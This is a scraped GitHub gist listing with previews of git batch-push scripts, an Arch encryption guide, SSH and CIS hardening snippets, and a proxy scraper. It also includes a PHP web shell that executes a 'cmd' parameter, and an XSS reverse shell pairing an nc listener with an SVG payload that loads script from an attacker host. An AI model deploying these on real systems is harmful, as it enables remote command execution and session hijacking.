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@Sacristan
Sacristan / push_commits_by_chunks.sh
Last active July 18, 2025 02:35
Push commits by chunks
REMOTE=origin
BRANCH=$(git rev-parse --abbrev-ref HEAD)
BATCH_SIZE=10
# check if the branch exists on the remote
# if git show-ref --quiet --verify refs/remotes/$REMOTE/$BRANCH; then
# # if so, only push the commits that are not on the remote already
# range=$REMOTE/$BRANCH..HEAD
# else
# # else push all the commits
@huntrar
huntrar / full-disk-encryption-arch-uefi.md
Last active November 22, 2025 14:47
Arch Linux Full-Disk Encryption Installation Guide [Encrypted Boot, UEFI, NVMe, Evil Maid]

Arch Linux Full-Disk Encryption Installation Guide

This guide provides instructions for an Arch Linux installation featuring full-disk encryption via LVM on LUKS and an encrypted boot partition (GRUB) for UEFI systems.

Following the main installation are further instructions to harden against Evil Maid attacks via UEFI Secure Boot custom key enrollment and self-signed kernel and bootloader.

Preface

You will find most of this information pulled from the Arch Wiki and other resources linked thereof.

Note: The system was installed on an NVMe SSD, substitute /dev/nvme0nX with /dev/sdX or your device as needed.

@lizthegrey
lizthegrey / attributes.rb
Last active August 29, 2025 15:40
Hardening SSH with 2fa
default['sshd']['sshd_config']['AuthenticationMethods'] = 'publickey,keyboard-interactive:pam'
default['sshd']['sshd_config']['ChallengeResponseAuthentication'] = 'yes'
default['sshd']['sshd_config']['PasswordAuthentication'] = 'no'
@maxrodrigo
maxrodrigo / git-split-and-push.sh
Last active August 28, 2024 08:29
Split a repository into batches to avoid `pack exceeds maximum allowed size` on push
# Split a repository into batches to avoid `pack exceeds maximum allowed size` on git push
REMOTE=origin
BRANCH=$(git rev-parse --abbrev-ref HEAD)
BATCH_SIZE=500
# check if the branch exists on the remote
if git show-ref --quiet --verify refs/remotes/$REMOTE/$BRANCH; then
# if so, only push the commits that are not on the remote already
range=$REMOTE/$BRANCH..HEAD
@navicore
navicore / centos7_cis.sh
Created October 25, 2018 23:53
centos7 cis hardening via bash
#!/bin/sudo bash
PROFILE="Level 1 - Server"
if [ "$PROFILE" = "Level 1 - Server" ] || [ "$PROFILE" = "Level 2 - Server" ]; then
echo \*\*\*\* Executing Level 1 - Server profile remediation
# Ensure mounting of cramfs filesystems is disabled
echo
echo \*\*\*\* Ensure\ mounting\ of\ cramfs\ filesystems\ is\ disabled
modprobe -n -v cramfs | grep "^install /bin/true$" || echo "install cramfs /bin/true" >> /etc/modprobe.d/CIS.conf
@mohanpedala
mohanpedala / bash_strict_mode.md
Last active December 5, 2025 10:58
set -e, -u, -o, -x pipefail explanation
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@rickyzhang82
rickyzhang82 / keycode.linux
Created September 15, 2017 22:11
Key code for Linux
# /usr/share/BasiliskII/keycodes
#
# Basilisk II (C) 1997-2005 Christian Bauer
#
# This file is used to translate the (server-specific) scancodes to
# Mac keycodes depending on the window server being used.
#
# The format of this file is as follows:
#
# sdl <driver string>
@ivanvza
ivanvza / xss_shell.txt
Created February 28, 2017 20:36
XSS Reverse Shell
Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>
@KyxRecon
KyxRecon / proxy-scraper.sh
Created December 29, 2016 08:33
Parallel Proxy Scraper & Checker Tool /
#!/bin/bash
# HR Proxy Scraper Script
# Rebuilded By Kyxrec0n
# Demo video : youtube.com/watch?v=iXCeR_XsP6o
# USAGE: ./proxy-scraper.sh <ARGUMENT> <OPTIONS>
# ARGUMENTS:
# Proxy Checker - Single Proxy Check
# -s <IP>:<PORT>
#
# Proxy Checker - List Scan: